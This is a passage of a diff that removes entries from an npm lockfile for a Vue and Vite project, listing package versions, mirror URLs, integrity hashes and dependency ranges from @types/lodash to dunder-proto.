}, - "node_modules/@types/lodash": { - "version": "4.17.24", - "resolved": "https://registry.npmmirror.com/@types/lodash/-/lodash-4.17.24.tgz", - "integrity": "sha512-gIW7lQLZbue7lRSWEFql49QJJWThrTFFeIMJdp3eH4tKoxm1OvEPg02rm4wCCSHS0cL3/Fizimb35b7k8atwsQ==", - "license": "MIT" - }, - "node_modules/@types/lodash-es": { - "version": "4.17.12", - "resolved": "https://registry.npmmirror.com/@types/lodash-es/-/lodash-es-4.17.12.tgz", - "integrity": "sha512-0NgftHUcV4v34VhXm8QBSftKVXtbkBG3ViCjs6+eJ5a6y6Mi/jiFGPc1sC7QK+9BFhWrURE3EOggmWaSxL9OzQ==", - "license": "MIT", - "dependencies": { - "@types/lodash": "*" - } - }, - "node_modules/@types/trusted-types": { - "version": "2.0.7", - "resolved": "https://registry.npmmirror.com/@types/trusted-types/-/trusted-types-2.0.7.tgz", - "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==", - "license": "MIT", - "optional": true - }, - "node_modules/@types/web-bluetooth": { - "version": "0.0.20", - "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz", - "integrity": "sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==", - "license": "MIT" - }, - "node_modules/@vitejs/plugin-vue": { - "version": "5.2.4", - "resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-5.2.4.tgz", - "integrity": "sha512-7Yx/SXSOcQq5HiiV3orevHUFn+pmMB4cgbEkDYgnkUWb0WfeQ/wa2yFv6D5ICiCQOVpjA7vYDXrC7AGO8yjDHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.0.0 || >=20.0.0" - }, - "peerDependencies": { - "vite": "^5.0.0 || ^6.0.0", - "vue": "^3.2.25" - } - }, - "node_modules/@volar/language-core": { - "version": "2.4.15", - "resolved": "https://registry.npmmirror.com/@volar/language-core/-/language-core-2.4.15.tgz", - "integrity": "sha512-3VHw+QZU0ZG9IuQmzT68IyN4hZNd9GchGPhbD9+pa8CVv7rnoOZwo7T8weIbrRmihqy3ATpdfXFnqRrfPVK6CA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@volar/source-map": "2.4.15" - } - }, - "node_modules/@volar/source-map": { - "version": "2.4.15", - "resolved": "https://registry.npmmirror.com/@volar/source-map/-/source-map-2.4.15.tgz", - "integrity": "sha512-CPbMWlUN6hVZJYGcU/GSoHu4EnCHiLaXI9n8c9la6RaI9W5JHX+NqG+GSQcB0JdC2FIBLdZJwGsfKyBB71VlTg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@volar/typescript": { - "version": "2.4.15", - "resolved": "https://registry.npmmirror.com/@volar/typescript/-/typescript-2.4.15.tgz", - "integrity": "sha512-2aZ8i0cqPGjXb4BhkMsPYDkkuc2ZQ6yOpqwAuNwUoncELqoy5fRgOQtLR9gB0g902iS0NAkvpIzs27geVyVdPg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@volar/language-core": "2.4.15", - "path-browserify": "^1.0.1", - "vscode-uri": "^3.0.8" - } - }, - "node_modules/@vue/compiler-core": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.30.tgz", - "integrity": "sha512-s3DfdZkcu/qExZ+td75015ljzHc6vE+30cFMGRPROYjqkroYI5NV2X1yAMX9UeyBNWB9MxCfPcsjpLS11nzkkw==", - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.0", - "@vue/shared": "3.5.30", - "entities": "^7.0.1", - "estree-walker": "^2.0.2", - "source-map-js": "^1.2.1" - } - }, - "node_modules/@vue/compiler-dom": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.30.tgz", - "integrity": "sha512-eCFYESUEVYHhiMuK4SQTldO3RYxyMR/UQL4KdGD1Yrkfdx4m/HYuZ9jSfPdA+nWJY34VWndiYdW/wZXyiPEB9g==", - "license": "MIT", - "dependencies": { - "@vue/compiler-core": "3.5.30", - "@vue/shared": "3.5.30" - } - }, - "node_modules/@vue/compiler-sfc": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.30.tgz", - "integrity": "sha512-LqmFPDn89dtU9vI3wHJnwaV6GfTRD87AjWpTWpyrdVOObVtjIuSeZr181z5C4PmVx/V3j2p+0f7edFKGRMpQ5A==", - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.29.0", - "@vue/compiler-core": "3.5.30", - "@vue/compiler-dom": "3.5.30", - "@vue/compiler-ssr": "3.5.30", - "@vue/shared": "3.5.30", - "estree-walker": "^2.0.2", - "magic-string": "^0.30.21", - "postcss": "^8.5.8", - "source-map-js": "^1.2.1" - } - }, - "node_modules/@vue/compiler-ssr": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.30.tgz", - "integrity": "sha512-NsYK6OMTnx109PSL2IAyf62JP6EUdk4Dmj6AkWcJGBvN0dQoMYtVekAmdqgTtWQgEJo+Okstbf/1p7qZr5H+bA==", - "license": "MIT", - "dependencies": { - "@vue/compiler-dom": "3.5.30", - "@vue/shared": "3.5.30" - } - }, - "node_modules/@vue/compiler-vue2": { - "version": "2.7.16", - "resolved": "https://registry.npmmirror.com/@vue/compiler-vue2/-/compiler-vue2-2.7.16.tgz", - "integrity": "sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==", - "dev": true, - "license": "MIT", - "dependencies": { - "de-indent": "^1.0.2", - "he": "^1.2.0" - } - }, - "node_modules/@vue/devtools-api": { - "version": "6.6.4", - "resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz", - "integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==", - "license": "MIT" - }, - "node_modules/@vue/devtools-kit": { - "version": "7.7.9", - "resolved": "https://registry.npmmirror.com/@vue/devtools-kit/-/devtools-kit-7.7.9.tgz", - "integrity": "sha512-PyQ6odHSgiDVd4hnTP+aDk2X4gl2HmLDfiyEnn3/oV+ckFDuswRs4IbBT7vacMuGdwY/XemxBoh302ctbsptuA==", - "license": "MIT", - "dependencies": { - "@vue/devtools-shared": "^7.7.9", - "birpc": "^2.3.0", - "hookable": "^5.5.3", - "mitt": "^3.0.1", - "perfect-debounce": "^1.0.0", - "speakingurl": "^14.0.1", - "superjson": "^2.2.2" - } - }, - "node_modules/@vue/devtools-shared": { - "version": "7.7.9", - "resolved": "https://registry.npmmirror.com/@vue/devtools-shared/-/devtools-shared-7.7.9.tgz", - "integrity": "sha512-iWAb0v2WYf0QWmxCGy0seZNDPdO3Sp5+u78ORnyeonS6MT4PC7VPrryX2BpMJrwlDeaZ6BD4vP4XKjK0SZqaeA==", - "license": "MIT", - "dependencies": { - "rfdc": "^1.4.1" - } - }, - "node_modules/@vue/language-core": { - "version": "2.2.12", - "resolved": "https://registry.npmmirror.com/@vue/language-core/-/language-core-2.2.12.tgz", - "integrity": "sha512-IsGljWbKGU1MZpBPN+BvPAdr55YPkj2nB/TBNGNC32Vy2qLG25DYu/NBN2vNtZqdRbTRjaoYrahLrToim2NanA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@volar/language-core": "2.4.15", - "@vue/compiler-dom": "^3.5.0", - "@vue/compiler-vue2": "^2.7.16", - "@vue/shared": "^3.5.0", - "alien-signals": "^1.0.3", - "minimatch": "^9.0.3", - "muggle-string": "^0.4.1", - "path-browserify": "^1.0.1" - }, - "peerDependencies": { - "typescript": "*" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/@vue/language-core/node_modules/brace-expansion": { - "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.2.tgz", - "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/@vue/language-core/node_modules/minimatch": { - "version": "9.0.9", - "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.9.tgz", - "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.2" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@vue/reactivity": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.30.tgz", - "integrity": "sha512-179YNgKATuwj9gB+66snskRDOitDiuOZqkYia7mHKJaidOMo/WJxHKF8DuGc4V4XbYTJANlfEKb0yxTQotnx4Q==", - "license": "MIT", - "dependencies": { - "@vue/shared": "3.5.30" - } - }, - "node_modules/@vue/runtime-core": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.30.tgz", - "integrity": "sha512-e0Z+8PQsUTdwV8TtEsLzUM7SzC7lQwYKePydb7K2ZnmS6jjND+WJXkmmfh/swYzRyfP1EY3fpdesyYoymCzYfg==", - "license": "MIT", - "dependencies": { - "@vue/reactivity": "3.5.30", - "@vue/shared": "3.5.30" - } - }, - "node_modules/@vue/runtime-dom": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.30.tgz", - "integrity": "sha512-2UIGakjU4WSQ0T4iwDEW0W7vQj6n7AFn7taqZ9Cvm0Q/RA2FFOziLESrDL4GmtI1wV3jXg5nMoJSYO66egDUBw==", - "license": "MIT", - "dependencies": { - "@vue/reactivity": "3.5.30", - "@vue/runtime-core": "3.5.30", - "@vue/shared": "3.5.30", - "csstype": "^3.2.3" - } - }, - "node_modules/@vue/server-renderer": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.30.tgz", - "integrity": "sha512-v+R34icapydRwbZRD0sXwtHqrQJv38JuMB4JxbOxd8NEpGLny7cncMp53W9UH/zo4j8eDHjQ1dEJXwzFQknjtQ==", - "license": "MIT", - "dependencies": { - "@vue/compiler-ssr": "3.5.30", - "@vue/shared": "3.5.30" - }, - "peerDependencies": { - "vue": "3.5.30" - } - }, - "node_modules/@vue/shared": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.30.tgz", - "integrity": "sha512-YXgQ7JjaO18NeK2K9VTbDHaFy62WrObMa6XERNfNOkAhD1F1oDSf3ZJ7K6GqabZ0BvSDHajp8qfS5Sa2I9n8uQ==", - "license": "MIT" - }, - "node_modules/@vue/tsconfig": { - "version": "0.7.0", - "resolved": "https://registry.npmmirror.com/@vue/tsconfig/-/tsconfig-0.7.0.tgz", - "integrity": "sha512-ku2uNz5MaZ9IerPPUyOHzyjhXoX2kVJaVf7hL315DC17vS6IiZRmmCPfggNbU16QTvM80+uYYy3eYJB59WCtvg==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "typescript": "5.x", - "vue": "^3.4.0" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - }, - "vue": { - "optional": true - } - } - }, - "node_modules/@vueuse/core": { - "version": "12.0.0", - "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-12.0.0.tgz", - "integrity": "sha512-C12RukhXiJCbx4MGhjmd/gH52TjJsc3G0E0kQj/kb19H3Nt6n1CA4DRWuTdWWcaFRdlTe0npWDS942mvacvNBw==", - "license": "MIT", - "dependencies": { - "@types/web-bluetooth": "^0.0.20", - "@vueuse/metadata": "12.0.0", - "@vueuse/shared": "12.0.0", - "vue": "^3.5.13" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/@vueuse/metadata": { - "version": "12.0.0", - "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-12.0.0.tgz", - "integrity": "sha512-Yzimd1D3sjxTDOlF05HekU5aSGdKjxhuhRFHA7gDWLn57PRbBIh+SF5NmjhJ0WRgF3my7T8LBucyxdFJjIfRJQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/@vueuse/shared": { - "version": "12.0.0", - "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-12.0.0.tgz", - "integrity": "sha512-3i6qtcq2PIio5i/vVYidkkcgvmTjCqrf26u+Fd4LhnbBmIT6FN8y6q/GJERp8lfcB9zVEfjdV0Br0443qZuJpw==", - "license": "MIT", - "dependencies": { - "vue": "^3.5.13" - }, - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/acorn": { - "version": "8.16.0", - "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.16.0.tgz", - "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", - "dev": true, - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmmirror.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" - } - }, - "node_modules/ajv": { - "version": "6.14.0", - "resolved": "https://registry.npmmirror.com/ajv/-/ajv-6.14.0.tgz", - "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/alien-signals": { - "version": "1.0.13", - "resolved": "https://registry.npmmirror.com/alien-signals/-/alien-signals-1.0.13.tgz", - "integrity": "sha512-OGj9yyTnJEttvzhTUWuscOvtqxq5vrhF7vL9oS0xJ2mK0ItPYP1/y+vCFebfxoEyAz0++1AIwJ5CMr+Fk3nDmg==", - "dev": true, - "license": "MIT" - }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmmirror.com/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true, - "license": "Python-2.0" - }, - "node_modules/async-validator": { - "version": "4.2.5", - "resolved": "https://registry.npmmirror.com/async-validator/-/async-validator-4.2.5.tgz", - "integrity": "sha512-7HhHjtERjqlNbZtqNqy2rckN/SpOOlmDliet+lP7k+eKZEjPk3DgyeU9lIXLdeLz0uBbbVp+9Qdow9wJWgwwfg==", - "license": "MIT" - }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - "license": "MIT" - }, - "node_modules/autoprefixer": { - "version": "10.4.27", - "resolved": "https://registry.npmmirror.com/autoprefixer/-/autoprefixer-10.4.27.tgz", - "integrity": "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/autoprefixer" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "browserslist": "^4.28.1", - "caniuse-lite": "^1.0.30001774", - "fraction.js": "^5.3.4", - "picocolors": "^1.1.1", - "postcss-value-parser": "^4.2.0" - }, - "bin": { - "autoprefixer": "bin/autoprefixer" - }, - "engines": { - "node": "^10 || ^12 || >=14" - }, - "peerDependencies": { - "postcss": "^8.1.0" - } - }, - "node_modules/axios": { - "version": "1.13.6", - "resolved": "https://registry.npmmirror.com/axios/-/axios-1.13.6.tgz", - "integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==", - "license": "MIT", - "dependencies": { - "follow-redirects": "^1.15.11", - "form-data": "^4.0.5", - "proxy-from-env": "^1.1.0" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/baseline-browser-mapping": { - "version": "2.10.10", - "resolved": "https://registry.npmmirror.com/baseline-browser-mapping/-/baseline-browser-mapping-2.10.10.tgz", - "integrity": "sha512-sUoJ3IMxx4AyRqO4MLeHlnGDkyXRoUG0/AI9fjK+vS72ekpV0yWVY7O0BVjmBcRtkNcsAO2QDZ4tdKKGoI6YaQ==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "baseline-browser-mapping": "dist/cli.cjs" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/birpc": { - "version": "2.9.0", - "resolved": "https://registry.npmmirror.com/birpc/-/birpc-2.9.0.tgz", - "integrity": "sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/antfu" - } - }, - "node_modules/boolbase": { - "version": "1.0.0", - "resolved": "https://registry.npmmirror.com/boolbase/-/boolbase-1.0.0.tgz", - "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", - "dev": true, - "license": "ISC" - }, - "node_modules/brace-expansion": { - "version": "1.1.12", - "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/browserslist": { - "version": "4.28.1", - "resolved": "https://registry.npmmirror.com/browserslist/-/browserslist-4.28.1.tgz", - "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "baseline-browser-mapping": "^2.9.0", - "caniuse-lite": "^1.0.30001759", - "electron-to-chromium": "^1.5.263", - "node-releases": "^2.0.27", - "update-browserslist-db": "^1.2.0" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - } - }, - "node_modules/call-bind-apply-helpers": { - "version": "1.0.2", - "resolved": "https://registry.npmmirror.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmmirror.com/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/caniuse-lite": { - "version": "1.0.30001781", - "resolved": "https://registry.npmmirror.com/caniuse-lite/-/caniuse-lite-1.0.30001781.tgz", - "integrity": "sha512-RdwNCyMsNBftLjW6w01z8bKEvT6e/5tpPVEgtn22TiLGlstHOVecsX2KHFkD5e/vRnIE4EGzpuIODb3mtswtkw==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "CC-BY-4.0" - }, - "node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "license": "MIT" - }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmmirror.com/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true, - "license": "MIT" - }, - "node_modules/copy-anything": { - "version": "4.0.5", - "resolved": "https://registry.npmmirror.com/copy-anything/-/copy-anything-4.0.5.tgz", - "integrity": "sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==", - "license": "MIT", - "dependencies": { - "is-what": "^5.2.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/mesqueeb" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/cssesc": { - "version": "3.0.0", - "resolved": "https://registry.npmmirror.com/cssesc/-/cssesc-3.0.0.tgz", - "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", - "dev": true, - "license": "MIT", - "bin": { - "cssesc": "bin/cssesc" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "license": "MIT" - }, - "node_modules/dayjs": { - "version": "1.11.20", - "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.20.tgz", - "integrity": "sha512-YbwwqR/uYpeoP4pu043q+LTDLFBLApUP6VxRihdfNTqu4ubqMlGDLd6ErXhEgsyvY0K6nCs7nggYumAN+9uEuQ==", - "license": "MIT" - }, - "node_modules/de-indent": { - "version": "1.0.2", - "resolved": "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", - "integrity": "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==", - "dev": true, - "license": "MIT" - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmmirror.com/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmmirror.com/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/detect-libc": { - "version": "2.1.2", - "resolved": "https://registry.npmmirror.com/detect-libc/-/detect-libc-2.1.2.tgz", - "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=8" - } - }, - "node_modules/dompurify": { - "version": "3.3.3", - "resolved": "https://registry.npmmirror.com/dompurify/-/dompurify-3.3.3.tgz", - "integrity": "sha512-Oj6pzI2+RqBfFG+qOaOLbFXLQ90ARpcGG6UePL82bJLtdsa6CYJD7nmiU8MW9nQNOtCHV3lZ/Bzq1X0QYbBZCA==", - "license": "(MPL-2.0 OR Apache-2.0)", - "optionalDependencies": { - "@types/trusted-types": "^2.0.7" - } - }, - "node_modules/dunder-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmmirror.com/dunder-proto/-/dunder-proto-1.0.1.tgz", - "integrity": 